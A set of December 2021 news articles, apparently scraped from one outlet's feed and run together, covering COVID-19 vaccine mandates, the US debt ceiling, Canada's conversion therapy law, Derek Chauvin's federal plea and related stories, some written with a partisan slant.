(@realchrisrufo) December 14, 2021 Christopher Rufo, an author and filmmaker known for exposing the infiltration of critical race theory in K12 education, posted on Twitter a photo of signage in front of the school. Denver Public Schools now promoting racially-segregated playtimefor equity,' Rufo wrote in the post. Rufo also reported that the event was organized by the schools Dean of Culture, and that it was later canceled due to COVID-19 protocols, although the school planned to reschedule the event in the new year. The photo quickly evolved into a meme, in which it is placed side by side with images showing pre-Civil Rights era segregated utilities, such as drinking fountains, with captions like From separate but equal to separate but equitable. In response to wide spread criticism, Centennial said they planned the event after meeting with some of the schools black families, and that all families are welcome to attend all of our events. Some of these families shared with us that, since the only time many of them see one another is at drop-off and pick-up times, we host some events where Black families can meet one another, connect with one another and share their experiences about the school with one another, the school said in a statement to The National Desk. We are honoring their request. The DPS also stepped in to defend Centennial, saying that this event was prompted by a specific request from families to create a space of belonging and was not meant to create division. Rufo dismissed these arguments, saying that it is yet another manifestation of critical race theory in American schools. Critical race theory has revived racial segregation in Americas public institutions, he told The National Desk. Denver Public Schools racially segregated playtime is racism under the guise of equity. Denver Public Schools should immediately suspend this program, which violates the Colorado Constitution. Dave Kopel, a law professor at University of Denver, agreed with Rufo. He said in a Twitter thread that the event could be in violation of the state constitution, which states there should not be any distinction or classification of pupils made on account of race or color. In a document (pdf) released in September, the DPS listed some of its transition priorities for the upcoming 202122 school year. One of priorities is equity, which is to dismantle oppressive systems and structures rooted in racism and classism, and center students and team members with a focus on racial and educational equity. The document also includes an equity statement, which declares that equity will be achieved when we dismantle deeply rooted systems of oppression that have historically resulted in inequitable access and distribution of opportunities and resources for those who represent marginalized identities, including race, ethnicity, gender identity, sexual orientation, language and ability. Congress Clears Bill to Raise Debt Ceiling by $2.5 Trillion, in Time for Treasury Dept. Deadline The House voted early on Dec. 15 to raise the debt ceiling by $2.5 trillion until 2023, just in time for the deadline set by the Treasury Department, potentially avoiding an economic crisis. Lawmakers passed the bill, which increases the limit to close to $31 trillion, in a 221209 vote with just one Republican, Rep. Adam Kinzinger (R-Ill.), voting yes. The Senate had previously approved the measure in a 5049 party-line vote on Dec. 14 with no Republican support after months of disagreements between Democrats and Republicans, with the latter refusing to help raise the limit on the Democrats out-of-control spending spree. The bill now heads to President Joe Bidens desk to be signed into law, ending months of back and forth between both parties and a potential U.S. default that Treasury Secretary Janet Yellen had warned would be economically catastrophic. Currently, federal debt is $28.9 trillion, and the latest increase to the debt ceiling is the largest in recent history. After Republicans filibustered one effort to raise the debt ceiling through normal legislative means, leaders from both parties reached a deal to temporarily extend the debt ceiling until an agreement could be reached. Eventually, Senate Majority Leader Chuck Schumer (D-N.Y.) and Minority Leader Mitch McConnell (R-Ky.) arrived at a deal that changed Senate rules to allow Democrats to pass the measure with a simple majority rather than the 60 typically needed to overcome the filibuster. Schumer said the increase would take borrowing into 2023, through next years Nov. 8 midterm elections, which will determine control of Congress. Schumer said on the floor: As I have said repeatedly, this is about paying debt accumulated by both parties, so I am pleased Republicans and Democrats came together to facilitate a process that has made addressing the debt ceiling possible. I want to thank the Republican leader and all my Republican colleagues who reached out across the aisle in good faith to bring us to this point. No brinksmanship, no default on the debt, no risk of another recession: responsible governing has won on this exceedingly important issue. The American people can breathe easy and rest assured there will not be a default. I want to be very clear: Raising the debt ceiling is not about incurring new debts, but rather enabling the federal government to keep its existing commitments, said Rep. Don Beyer (D-Va.), chairman of the Joint Economic Committee. By raising the debt limit, we are meeting our existing obligations to members of the military, veterans, and recipients of Medicare, Medicaid, and Social Security. Republicans, who control half of the Senates 100 seats, have made associations between the vote raising the debt ceiling to Bidens $1.75 trillion Build Back Better plan, which seeks to fund multiple items, from climate change-related matters to the expansion of affordable health care. Later today, every Senate Democrat is going to vote on party lines to raise our nations debt limit by trillions of dollars, McConnell said ahead of the vote. If they jam through another reckless taxing and spending spree, this massive debt increase will just be the beginning. Reuters contributed to this report. A Canadian flag flies near the Peace Tower on Parliament Hill in Ottawa on June 30, 2020. (The Canadian Press/Adrian Wyld) Contentious Conversion Therapy Legislation Clauses That Didnt Get Parliamentary Oversight News Analysis In the fast-tracked conversion therapy bill that was passed into law last week, there were two significant issues that did not receive parliamentary oversight either in the House of Commons or the Senate. One issue involves definitions in the bill, which proved contentious in the House of Commons in the first incarnation of the bill in the previous Parliament. However, it never had the chance to be deliberated on in the Senate before Parliament was dissolved after the election was called. The other was the expanded scope of the new bill to outright ban the practice not only for children but also for adults, despite Justice Minister David Lametti saying in the previous Parliament that such a ban for consenting adults might not withstand a constitutional challenge. This change received no debate or study in the House or the Senate before being passed into law. Very Reasonable Change Rejected Bill C-4, an expanded version of its previous iteration Bill C-6, was introduced by Justice Minister David Lametti on Nov. 29 and was quickly passed in both the House and the Senate on Dec. 1 and Dec. 7 respectively. This happened because the Conservatives introduced a motion to fast-track the bill without amendments, debate, or committee study. In the previous Parliament, some Conservative MPs had warned that the broad definitions in Bill C-6 could potentially criminalize normal conversations between children and their parents, counsellors, or religious leaders about gender and sexual behaviours. During a Commons justice committee meeting on Dec. 10, 2020, Conservative MPs Rob Moore and Michael Cooper proposed an amendment that takes language directly from the justice department website to be added to the bill to ensure such conversations arent criminalized. The amendment stated: For greater certainty, this definition does not include the expression of views on sexual orientation, sexual feelings or gender identity, such as where teachers, school counsellors, pastoral counsellors, faith leaders, doctors, mental health professionals, friends or family members provide support to persons struggling with their sexual orientation, sexual feelings or gender identity. Moore said during the meeting that the amendment addresses some of the concerns weve heard from witnesses who are concerned about how broad the definition is. Moores proposal was rejected after a vote, with six of the committee members voting against it versus five who supported it. Bill C-6 passed its second reading on Dec. 11, 2020. At its third reading on June 22, the bill was passed in the House, with a minority of Conservatives, 51 of the 113, including leader Erin OToole, voting for it. The definition of conversion therapy voted on in the third readingwhich is similar to the one in Bill C-4is described as: a practice, treatment or service designed to change a persons sexual orientation to heterosexual, to change a persons gender identity or gender expression to cisgender or to repress or reduce non-heterosexual attraction or sexual behaviour or non-cisgender gender expression. For greater certainty, this definition does not include a practice, treatment or service that relates to the exploration and development of an integrated personal identity without favouring any particular sexual orientation, gender identity or gender expression. Bill C-4s definition section was expanded to include, among other changes, practices that change a persons gender expression so that it conforms to the sex assigned to the person at birth, and repress or reduce a persons gender expression that does not conform to the sex assigned to the person at birth. What the definition says is not conversion therapy is described as: For greater certainty, this definition does not include a practice, treatment or service that relates to the exploration or development of an integrated personal identity such as a practice, treatment or service that relates to a persons gender transition and that is not based on an assumption that a particular sexual orientation, gender identity or gender expression is to be preferred over another. Conservative MP John Williamson, who was among the 62 Conservatives who voted against Bill C-6, said after it passed third reading in the previous Parliament that the bill failed to clarify parental rights with respect to their children, and to ensure that family discussions between parents and their children would be protected and not criminalized. Unfortunately, the federal government declined to make this very reasonable change. Instead, it provided clarifications on the Department of Justice website that conversations between parents with their dependents would not be considered conversion therapy. However, the government would not add this reasonable language to its Bill, which left these concerns unanswered, Williamson said in a statement on June 23. When Bill C-6 arrived in the Senate, the Liberal government wanted the senators to pass it into law before recessing for the summer. Several senators expressed frustration with the governments disrespectful attitude in pushing them to approve the bill in such a tight time-frame, noting that the legislation required more in-depth study. A few times in this extraordinary era of urgent governance related to COVID we have been asked to suspend our rules and forgo our rights to fully exercise sober second thought on matters that are not emergencies and not related to the pandemic, Sen. Scott Tannas said in a statement. Bill C-6 did not make it through the Senate and died with the dissolution of Parliament on Aug. 15 when the federal election was called. In the new Parliament, however, Bill C-4 was fast-tracked in the Senate without any debate or study of its clauses, having its first reading on Dec. 2, second and third readings on Dec. 7, and passing into law on Dec. 8. Lametti: I Fear a Charter Challenge While Bill C-6 banned conversion therapy for children only, Bill C-4 bans the practice for adults as welleven for consenting ones. This contradicts a statement Lametti made a year ago, when he said the idea of banning the practice for adults was unconstitutional. I do fear a charter challenge, the minister told the justice committee on Dec. 1. 2020. For an adult capable of consenting and who is not susceptible to duress and is not being subjected to duress, it would be a difficult thing to defend in court. The best minds in my department tried to wrap their heads around it and couldnt. The constitutionality issue, and why Lametti changed his mind about it, was discussed neither in the House nor the Senate once the bill was introduced and subsequently passed into law swiftly in the new Parliament. President Joe Biden is seen at the U.S. Capitol in Washington on Dec. 9, 2021. (Alex Wong/Getty Images) Court Lets Bidens COVID-19 Vaccine Mandate for Healthcare Workers Take Effect in Some States A federal appeals court on Wednesday reversed a nationwide ban on President Joe Bidens COVID-19 vaccine mandate for some 17 million health care workers. The emergency rule will take effect in 26 states due to the ruling from a three-judge panel on the 5th U.S. Circuit Court of Appeals. Two federal judges last month blocked the mandate. The first ruling applied to just 10 states; the second expanded the preliminary injunction across the nation. But the appeals court said it found little justification for the second move in the opinion issued by U.S. District Judge Terry Doughty, a Trump nominee, on Nov. 30. Doughtys order lacked a constitutional uniformity principle seen in previous cases like Texas v. United States or concerns outlined in that case and others that patchwork rulings would undermine an injunction limited to certain jurisdictions, they said in a 6-page opinion. The panel that put forth the ruling consisted of Judges Leslie Southwich, a George W. Bush nominee; James Graves Jr., an Obama nominee; and Gregg Costa, another Obama nominee. The mandate, issued last month by the Centers for Medicare and Medicaid Services (CMS), covers roughly 17 million workers. It requires facilities that receive Medicare or Medicaid funding to force workers to get vaccinated. It has no testing opt-out. The deadline for meeting the mandate is Jan. 4, 2022. The ruling means the mandate is back in effect in 26 states. It remains blocked under Doughtys order in Alabama, Arizona, Georgia, Idaho, Indiana, Kentucky, Louisiana, Mississippi, Montana, Oklahoma, Ohio, South Carolina, West Virginia, and Utah. It remains blocked under a separate order from U.S. District Judge Matthew Schelp, a Trump nominee, in Alaska, Arkansas, Iowa, Kansas, Missouri, Nebraska, New Hampshire, North Dakota, South Dakota, and Wyoming. A preliminary injunction is temporary while a case is resolved. This court action does not change anything for Louisianas healthcare heroes; they remain protected by Judge Doughtys injunction, Louisiana Attorney General Jeff Landry, a Republican who is leading the challenge to the mandate, told The Epoch Times in an email. A CMS spokesperson said the agency is reviewing the courts decision and evaluating next steps. The agency had last week suspended enforcement of the mandate but top officials said they remained confident they would ultimately prevail against the litigation. Two other appeals courts ruled against the Biden administration in similar cases this week. The Eighth Circuit U.S. Court of Appeals rebuffed an effort by the administration to lift the injunction entered by Schelp. The Sixth Circuit Court of Appeals, meanwhile, on Wednesday denied requests for the full court to hear the consolidated challenges to the vaccine mandate promulgated by the Department of Labors Occupational Safety and Health Administration (OSHA). Less than a majority of the active judges of this court having voted in favor of initial hearing en banc, the court said in a brief filing (pdf). The OSHA rule, which was suspended after being blocked by a nationwide preliminary injunction, will now be considered by a three-judge panel on the Sixth Circuit. In this image taken from video, New York Mayor Bill de Blasio speaks during a virtual press conference on Dec. 2, 2021. (AP Photo) De Blasio Unveils Details on NYC Workplace Vaccine Mandate It will not apply to people who work from home New York City Mayor Bill de Blasio released more details on his plan to mandate COVID-19 vaccines for workplaces, allowing for religious and medical exemptions. During a Wednesday news briefing, the Democrat mayor said private-sector workers in the city will have to receive at least one dose of COVID-19 vaccine starting Dec. 27 and have proof of a second dose within 45 days after the first for either the Pfizer or Moderna recipients. Johnson & Johnson requires only one shot. We saw every single time we put a mandate in place, it was the decisive factor in getting a lot of people to move, de Blasio, who is slated to leave office in the coming weeks, said in a press briefing. So, I do not expect people to be losing their jobs because we have a body of evidence that shows that people make the decision, when its really the moment of truth to get vaccinated. The mandate applies to people who work in-person and those who interact with the public for business. The mayor also directed New York City employers to the mayors website that includes a form affirming their workers have received the vaccines. The form includes the name and address of the business, attesting that I affirm that I have read the December 13, 2021 Order of the New York City Commissioner of Health requiring vaccination of workers and that my workplace is in compliance with the Order. During the news conference, de Blasio said that he believes the mandate would spur more vaccinations in the city. The mayor did not provide data to support his claim. What we have seen is mandates cause people to make that decision, Yes, Im going to get vaccinated. It just happened so consistently now, he said. I do not expect people to be losing their jobs, because we have a body of evidence that shows that people make the decision, when its really the moment of truth, to make the decision to get vaccinated. De Blasio did not make any mention of how the city would enforce the COVID-19 vaccine mandate during his news conference. But, according to a section on the website, businesses can be fined $1,000 for noncompliance, with increased amounts being handed down by various city agencies. Its a really clear document. Itll be available to all businesses today explaining how to do it, de Blasio said. Earlier this month, after de Blasio announced the mandate during an MSNBC interview, he was sharply criticized by business leaders for a lack of transparency and for not providing details about his order. On Wednesday, the mayor was again criticized by business leaders, including Brooklyn Chamber of Commerce CEO Randy Peers, who told the New York Post that the edict is mean-spirited. What I disagree with is people losing their jobs over vaccines. Thats what I disagree with, Peers told the paper. Thats a bad policy, and its a mean-spirited policy to do such around the holiday time. Under the mandate, New York City employers have to now post an official sign-in document in an obvious spot, keep records of vaccination documents, have workers get second doses if needed, and allow employees to keep working while they seek an accommodation. The workplace mandate doesnt apply to people who work at home and dont have in-person contact with co-workers, and people who enter a workplace briefly. Non-New York City-based performing artists, college or professional athletes, and anyone who accompanies them are exempt as well. A destroyed vehicle sits in the aftermath of a tornado in Mayfield, Ky, on Dec. 13, 2021. (Adrees Latif/Reuters) Deadly Tornadoes to Cost Insurers up to $5 Billion Insured losses from the swarm of tornadoes and severe convective storms that caused destruction in parts of the country this month could amount up to $5 billion, industry experts said on Tuesday. Catastrophe modeling firm Karen Clark & Company said it expects insured losses of about $3 billion from tornadoes that tore a 200-mile path through the six states in the U.S. Midwest and South, demolishing homes, leveling businesses, and setting off a scramble to find survivors beneath the rubble. The barrage of tornadoes killed at least 74 people in Kentucky, officials said on Monday. Credit rating agency Fitch said insured losses could rise to $5 billion, rivaling the U.S. Midwest derecho event in August last year, but less than Winter Storm Uri and Hurricane Ida, both of which saw losses of $15 billion and $40 billion respectively. Fitch said it was unusual to have this type of weather-driven event in December, which is historically the least costly month of the year for U.S. convective storm insured losses. The tornadoes will likely drive insurance industry natural catastrophe losses to the largest annual total in the U.S. since the 2017 record year (approximately $130 billion), it added. This will add to reinsurers push for rate hikes at the January 2022 pricing renewals and beyond as they absorb losses from another unusual weather event and react to concerns about the negative impact of climate change, Fitch said. The powerful twisters, which weather forecasters say are unusual in cooler months, also destroyed a candle factory and the fire and police stations in a small town in Kentucky, ripped through a nursing home in neighboring Missouri, and killed at least six workers at an Amazon warehouse in Illinois. By Noor Zainab Hussain and Carolyn Coh Governor of New Jersey Phil Murphy in Oceanport, New Jersey on June 14, 2018. (Dave Kotinsky/Getty Images for William Hill Race & Sports Bar) Democrat Governor: Americans Sick of Masks, Vaccine Mandates Weeks after surviving a narrow statewide election, New Jersey Gov. Phil Murphy acknowledged that Democrat Party support is waning because Americans are sick of masks and mandates. When asked about his closer-than-expected victory over Republican gubernatorial candidate Jack Ciattarelli, Murphy explained that New Jersey residents feel like government is not connecting with them. Theyre sick of masks, being told what to do in terms of vaccines, probably not thrilled with what they sense is going on in Washington, they may have lost a job or a business that went bustor a loved one, worse yet, he told Politico this week. Going further, Murphy said that more government decisions and mandates have to be decided on based on data, not just political coercion. Do two things: Do right by COVID. And I know all these folks, and they do that already, but keep making the decisions not based on the politics but based on the facts of the science and of the data, he said. In early November, Murphy defeated Ciattarelli, a former state lawmaker, by 3 percentage points in an election that wasnt expected to be close. It came as Democrats suffered their first major loss during the Biden era when Republican Glenn Youngkin defeated former Virginia Gov. Terry McAuliffe in the states gubernatorial race. Other than Murphy, several Democratic governors have increasingly expressed similar concerns over their partys messaging to voters. I think we have to recognize and acknowledge that families have had a tough time over the last two years, both health-wisewhether it is or isnt from COVID, whether its mental healthand economically, North Carolina Gov. Roy Cooper, the chair of the Democratic Governors Association, recently told reporters. And in perhaps the starkest comment from a Democrat governor to date, Colorado Gov. Jared Polis said last week that he believes the COVID-19 emergency is over and said its unvaccinated peoples own darn fault if they become infected with the CCP (Chinese Communist Party) virus. Everybody had more than enough opportunity to get vaccinated, Polis told Colorado Public Radio. Hopefully its been at your pharmacy, your grocery store, a bus near you, [or at] big events. At this point, if you havent been vaccinated, its really your own darn fault. Despite the about-face from some Democrat governors, Govs. Kathy Hochul of New York and Gavin Newsom of California recently re-imposed mask mandates across the state for businesses. Meanwhile, New York City Mayor Bill de Blasio, also a Democrat, announced that private businesses would have to mandate that their employees get vaccinated or obtain religious or medical exemptions. In this image from video, former Minneapolis police Officer Derek Chauvin listens as his defense attorney Eric Nelson gives closing arguments as Hennepin County Judge Peter Cahill preside in the trial of Chauvin at the Hennepin County Courthouse in Minneapolis, Minn., on April 19, 2021. (Court TV via AP) Derek Chauvin Pleads Guilty in George Floyd Civil Rights Case Former Minneapolis Police officer Derek Chauvin pleaded guilty on federal civil rights charges during a court hearing on Wednesday, averting a new trial. Chauvin also pleaded guilty to an unrelated case where he was accused of using similar tactics while detaining a 14-year-old in Minneapolis in 2017. An indictment in that case had alleged Chauvin held the teenager by the throat and held a knee on his back during an arrest. In a plea agreement, prosecutors are requesting that Chauvin get sentenced to 300 months, or 25 years, in prison to be served concurrently with his 22 and a half year sentence. Chauvin was convicted on state murder charges earlier this year in connection to the death of George Floyd, a convicted felon. Chauvin was accused of depriving Floyd of his rights by conducting unreasonable seizure, which includes the right to be free from the use of unreasonable force by a police officer. While in court Wednesday, Assistant U.S. Attorney Allen Slaughter asked Chauvin to confirm some details in the plea agreement, namely whether he held Floyd on the ground after he became unresponsive. Correct, said Chauvin on each of the questions asked by Slaughter. Chauvin also remarked, Guilty, your honor to confirm his pleas in Floyds death and an unrelated 2017 case, and acknowledged that he was guilty of the acts alleged. With parole and presuming good behavior, Chauvin is expected to serve about 15 years of his state sentence behind bars. Any federal sentence would run at the same time as the state sentence, and defendants serve about 85 percent of federal sentences presuming good behavior. That means if the judge gives Chauvin the maximum 25 years requested, he would likely serve about six years and three months beyond his state sentence. Judge Paul Magnuson didnt set a date for sentencing during Wednesdays hearing. Nine people appeared to support Chauvin, including his family members, according to the pool report. Three other former Minneapolis officersThomas Lane, J. Kueng, and Tou Thaowere indicted on federal charges earlier this year. They are still slated to go on trial early next year. Floyds death in May 2020 sparked protests, riots, arson attacks, and widespread looting across numerous cities. Some law enforcement experts believe anti-police riots, coupled with the left-wing defund the police movement, are at least partially responsible surge of violent crime and homicides across at least a dozen major U.S. cities. According to a recent analysis of crime statistics, cities including Philadelphia, Indianapolis, and St. Paul, Minnesotalocated adjacent to Minneapolishave set all-time murder records in 2021. The Associated Press contributed to this report. Students in a lesson at a school in the UK on Sept. 12, 2018. (Ben Birchall/PA) Do Not Take Children Out of Class Ahead of Christmas, UK Prime Minister Warns Parents should not take their children out of school before term ends, Downing Street has said. The UK Prime Ministers official spokesman said it is important that schools and parents dont take precautionary steps to deprive their children of education. The plea comes amid reports that parents are choosing to keep their children out of class ahead of Christmas due to concerns about the Omicron variant. Some schools and colleges have switched to remote lessons this week in the run-up to the festive break. Responding to suggestions that some parents are keeping their children at home to avoid the prospect of anyone catching COVID-19 and being forced to isolate over the Christmas period, the Prime Ministers official spokesman said: The best place for childrenwho have in many respects suffered the most through this pandemicis in school, receiving vital face-to-face education. Government figures suggest 2.9 percent of all pupilsnearly 236,000 childrenwere not in class for reasons connected to coronavirus on Dec. 9. This was up from 208,000 children, or 2.6 percent of all pupils, on Nov. 25. But school leaders have warned of even worse attendance levels due to COVID-19 in recent days as the Omicron variant has spread further before Christmas. Paul Whiteman, general secretary of school leaders union NAHT, said: We agree that children should be in school and not missing out on education. But if parents feel nervous about sending their children in to classrooms due to the soaring levels of COVID, that is an indication that the Government needs to do more to control the spread of the virus. The Government cant simply say that parents must send their children to school without taking the necessary action to reassure them that it is safe for them to do so. Two schools in Bury St Edmunds, SuffolkSybil Andrews Academy and Abbots Green Academyhave moved to remote learning until the end of term on Friday after COVID-19 cases emerged. Students play on a playground at a school in the UK in a file photo. (Danny Lawson/PA) Abingdon and Witney College in Oxfordshire has also moved the majority of its lessons online this week as a proactive measure to reduce the number of people at their campuses in the run-up to Christmas. Geoff Barton, general secretary of the Association of School and College Leaders, said: Were sure that neither schools nor parents need lectures from Downing Street. Everybody is doing their very best to keep education going as best they can in increasingly difficult circumstances and amidst endless and unhelpful speculation. We agree that the best place for children is in school but we are also conscious that there are very high rates of infections in many settings and areas which are causing huge disruption. The Christmas holiday is only a couple of days away and it would be nice to get there without any more finger-wagging. Dr. Ben Carson: The American Dream Is Alive and Well Anybody in America can be successful, provided they work hard, according to Dr. Ben Carson. Recognize that the American Dream is alive and well, Carson, who founded the American Cornerstone Institute after serving in the Cabinet during the Trump administration, said on EpochTVs American Thought Leaders program. The full episode will premiere on Sat. Dec. 18 at 7 p.m. ET. Carson, who grew up poor in Detroit, said he acknowledges the wealth gap that exists between blacks and whites but noted that when you zero in on Ghanaians and Nigerians that come to this country, the wealth gap vanishes. Now, if you know families from those places, what you know is that theres a tremendous emphasis on family and education. And theyve eliminated the wealth gap. So I wonder if perhaps, there is something that we should glean from that, he said. Recognize that the American Dream is alive and well. But youre not entitled to it. You have to work for it. And that was what people wanted, they wanted to come. They said, I dont care that I have to work hard, as long as I get to benefit from that hard work and somebody else doesnt come along and say well, Im taking your stuff. because you dont really deserve it.' Carson himself lived in a tenement in Boston for several years after his mother and father separated when she found out he had another family. After returning to Detroit, his mother got a job as a house cleaner, and saw how the families whose homes she cleaned prioritized reading over watching television. She passed on that ethic to her children. She came home and imposed that on me and my brother. We were not happy at all, Carson recalled. He was in fifth grade at the time. The boys were ordered to take out two books a week from the public library and submit reports on them to their mother. Slowly, they began to enjoy reading. Even though I didnt like it very much at first, after a while, I got to the point where I couldnt wait to get home to get into my books, because it opened up a whole new world, Carson said. You know, we lived with rats and roaches and poverty. But as soon as I open the covers of those books, I was transformed to another place. I started reading about scientists and surgeons and explorers and entrepreneurs. And I very rapidly came to an understanding as my brother did, that you are the person who is going to decide where youre going to go. Nobody else got to decide that. Even though there were a lot of people around us who were constantly telling us that the world was unfair, that you wouldnt be able to succeed; why do you have these lofty dreams? But we forgot about all that, Carson said. Carson began applying himself in school, shooting to the top of the class. He won a special award for the highest-achieving student in eighth grade. U.S. President George W. Bush, right, presents a Presidential Medal of Freedom to Dr. Ben Carson for his work with neurological disorders during an East Room ceremony at the White House in Washington on June 19, 2008. (Alex Wong/Getty Images) One moment in school stands out to him all these years later. His science teacher walked into the classroom and held out a big, black, shiny rock. He asked students what it was. It was obsidian. Carson knew, and answered correctly. I was the most amazed person because it dawned on me that the reason I knew the answer, and nobody else did is because I was reading the books, Carson said. From that point on, you never saw me without a book, he added. Carson later became a renowned surgeon, leading a team that separated conjoined twins in 1987. He retired in 2013 and ran in the 2016 presidential race. After Donald Trump won, he asked Carson to be his secretary of Housing and Urban Developing. Carson accepted. After the Trump administration ended, Carson went on to found the American Cornerstone Institute, which says it was created to champion conservative solutions to the real problems our nation faces. Part of the groups focus is on education. Carson sees many problems with the U.S. educational system. In Baltimore city, the graduation rate, obviously, is very low. But the number of students who are working at grade level is almost zero. And in so many of our large cities, that seems to be the case, Carson said. One way to fix the situation, according to Carson, is school choice, which enables students to go to the school of their choice. We really need school choice, in a big way, and we need to make it possible for the money to follow the children so that they can get a good education. Because it doesnt matter what background you come from in this country, if you get a good education, you write your own ticket, Carson said. Zachary Stieber Reporter Follow Zachary Stieber covers U.S. news and stories relating to the COVID-19 pandemic. He is based in Maryland. El Chapos Errand Runnera Key to the Kingpins Ultimate CaptureSentenced in San Diego By Kristina Davis The San Diego Union-Tribune SAN DIEGOAs Mexican and U.S. forces closed in on Joaquin El Chapo Guzman Loera in the winter of 2014, they set out first to find the man they hoped would unlock many of the drug kingpins secrets, and ultimately his whereabouts. Characterized as Guzmans personal assistant, Mario Hidalgo Arguello was intricately involved in the fugitives comings and goings. Hidalgos nickname in the Sinaloa cartel was El Nariz, named for his prominent nose, which made him easily identifiable when authorities tracked him down at a party in Culiacan one night and demanded a tour of Guzmans hideouts. Indeed, Hidalgo led the Mexican Marines and a U.S. drug agent to the safe house where Guzman was holed up, but he narrowly escaped through a tunnel under the bathtub. Still, authorities stayed on the trail, capturing Guzman a week later at a Mazatlan hotel. While Hidalgos legacy will be forever linked to the hunt for one of the worlds most wanted drug lords, his official criminal record is silent on the matter and instead lists a single marijuana trafficking conviction. On Monday, a San Diego federal judge sentenced Hidalgo to seven years in prison in the case, which involves a conspiracy to import marijuana aboard a San Diego yacht. U.S. District Court Judge William Hayes followed the joint recommendation of prosecutors and the defense in handing down the sentencea departure from the 10-year mandatory minimum term he was facing. He is not a U.S. citizen and will likely be deported to Mexico when his term has been completed. Hidalgo was arrested on a provisional U.S. warrant in March 2017 while in Mexican custody and was quietly extradited to San Diego in January 2020 to face charges brought by a 2015 San Diego federal grand jury. He pleaded guilty in September 2020. According to this plea, Hidalgo admitted to being an organizer of an agreement between at least five people to import about 6 tons of marijuana into the United States in 2012. Hidalgos co-conspirators bought a boat, the International Star, in San Diego in October 2012 and docked it in National City to make repairs and improvements, according to the plea. The boat was renamed Out Hookn. It departed from San Diego at the end of November for Cabo San Lucas, Mexico. While off the coast, it was loaded with marijuana from another boat. Hidalgo was on one of the vessels at some point to coordinate the transfer of drugs, the judge stated. Out Hookn returned to San Diego on Dec. 17. Earlier court filings by prosecutors said U.S. Drug Enforcement Administration agents watched as suitcases were offloaded from the boat into an SUV at H&M Landing in Point Loma. The boat was then taken to Long Beach, where agents saw more bundles taken off into a rented box truck, prosecutors said. Agents seized the drugs. The plea does not provide specifics about Hidalgos role in the conspiracy, other than that he was a leader. Little about his case has been filed publicly; sentencing memorandums from prosecutors and the defensedocuments that usually provide greater insight into the offender and the crimewere apparently filed under seal, as they are in many drug cartel cases. In comments to the judge Monday, Hidalgo said he was one of seven children raised by poor, day-laborer parents. You grow up and what you keep thinking about is what its like to have money, he said through a Spanish interpreter. I grew up in a city thats known to have narco culture. It is not easy. Hidalgos defense attorney Sandra Lechman told the judge that the events surrounding his arrest in Culiacan were very traumatizing, with both she and Hidalgo saying separately that his wife was assaulted. Much of the drama surrounding Guzmans capture, and the significance of Hidalgos role, was revealed in testimony during Guzmans criminal trial in Brooklyn at the beginning of 2019. We knew Nariz was an individual, a runner for Guzman Loera, a gopher, an individual that would go and retrieve things for Guzman Loera, an individual that knew all his houses, his cars, locations, where Guzman Loera spent his time in the city of Culiacan, testified DEA Agent Victor Vazquez, who helped lead the manhunt on the ground in Mexico. He knew absolutely everything about Guzman Loera. Hidalgo had compromised not only the one house from which Guzman escaped, but the whole network of hideouts and warehouses in the stronghold of Culiacan. My or our idea was to flush him out of the cityto make it hard for him to ever come back to Culiacan, Vazquez testified. It worked. Guzman is spending a life sentence at a maximum security prison in Colorado. 2021 The San Diego Union-Tribune. Visit sandiegouniontribune.com. Distributed by Tribune Content Agency, LLC. Elon Musk attends TIME Person of the Year in New York City on Dec. 13, 2021. (Theo Wargo/Getty Images for TIME) Elon Musk Comes out Against COVID-19 Vaccine Policies, Says Shots Should Not Be Mandatory in US Tesla Chief Executive Elon Musk has come out against COVID-19 vaccine mandates and said he believes that such policies should not be put in place in the United States. In an interview with Time magazine, which named Musk Times 2021 Person of the Year on Monday, the billionaire confirmed that he has been vaccinated himself. Yes, yeah. Im very pro-vaccination. The science is unequivocal, Ive tweeted to that effect, he said. However, the businessman said that he was against strict mandatory COVID-19 vaccine policies, particularly when they leave employees having to choose between getting the shots or losing their job. But by the same token I am against forcing people to be vaccinated, Musk said. You know, I think this is just not something we should do in America. I think we should encourage people to be vaccinated, strongly try to convince them to be vaccinated, but not force them to be vaccinated, or for example, for them to get vaccinated or get fired. Musks comments come at a time when vaccine mandates are being challenged across the U.S. at both state and federal levels. In early November President Biden issued new rules, enforced by the Occupational Safety and Health Administration, regarding COVID-19 vaccinations and testing for employers. The rules are scheduled to take effect on Jan. 4 and dictate that employers with 100 or more employees ensure each of their workers is fully vaccinated or that they test for COVID-19 on at least a weekly basis. All unvaccinated workers must also wear a face mask in the workplace. Health care employees working at facilities participating in Medicare and Medicaid, including hospitals and long-term care facilities, must also be fully vaccinated, which is set to affect more than 17 million workers. In response, multiple lawsuits have been piling up against the administration over what some have called government overreach. According to the Centers for Disease Control and Prevention (CDC), 72.1 percent of adults in the United States are fully vaccinated, or just under 61 percent of the total population, while 72.2 percent of the total population has received at least one shot. Meanwhile, some health officials have been urging the public to double down on safety precautions, including getting vaccinated, in light of the emergence of the latest Omicron variant. Earlier this month, Surgeon General Dr. Vivek Murthy said that while Americans shouldnt panic over the new variant of the coronavirus, they should continue to wear masks, maintain social distancing, and get vaccinated. I do think its a reason for us to not necessarily panic but to be more vigilant and to recognize that the precautions that we have been talking about for the last year or so are all the more important now than ever, Murthy told Fox News Sunday. So far only one person in the entire world has reportedly died after contracting the Omicron variant. It remains unclear if the deceased individualwho died in Britainhad any underlying health issues. Federal health officials and authorities in other countries have signaled that early data suggests Omicron is a milder variant than the Delta strain. Dr. Rochelle Walensky, director of the Centers for Disease Control and Prevention, told The Associated Press last week that Omicron is mild and that most symptoms include cough, congestion, and fatigue. What we generally know is the more mutations a variant has, the higher level you need your immunity to be We want to make sure we bolster everybodys immunity. And thats really what motivated the decision to expand our guidance, Walensky said. EU Regulator Backs Giving J&J Booster Shot to Adults 2 Months After Initial Dose The European Unions drug regulator on Dec. 15 concluded that a Johnson & Johnson (J&J) COVID-19 booster dose may be considered for people who are 18 and older at least two months after their initial shot. The European Medicines Agency (EMA) said in a statement that the recommendation by the agencys human medicines committee follows data it reviewed showing that a second dose of the one-dose vaccine led to a rise in antibodies against the CCP (Chinese Communist Party) virus, which causes the disease COVID-19. The agency noted that the risk of a previously reported side effect, namely a type of clot called cerebral venous sinus thrombosis in combination with low levels of blood platelets, isnt known after a booster is administered, adding that its being carefully monitored. As for all medicines, EMA will continue to look at all data on the safety and effectiveness of COVID-19 Vaccine Janssen, the agency said in the statement. Janssen is a pharmaceutical unit of J&J. Earlier this year, multiple countries on a global level recommended not using the J&J shot until the investigation into cases of post-vaccination blood clots was completed. The halt came after dozens of cases, which included deaths, were reported after people got the shot. The EMA also said that a dose of the J&J shot can be used as a booster dose in those who have received two doses of one of the mRNA vaccines from Pfizer-BioNTech 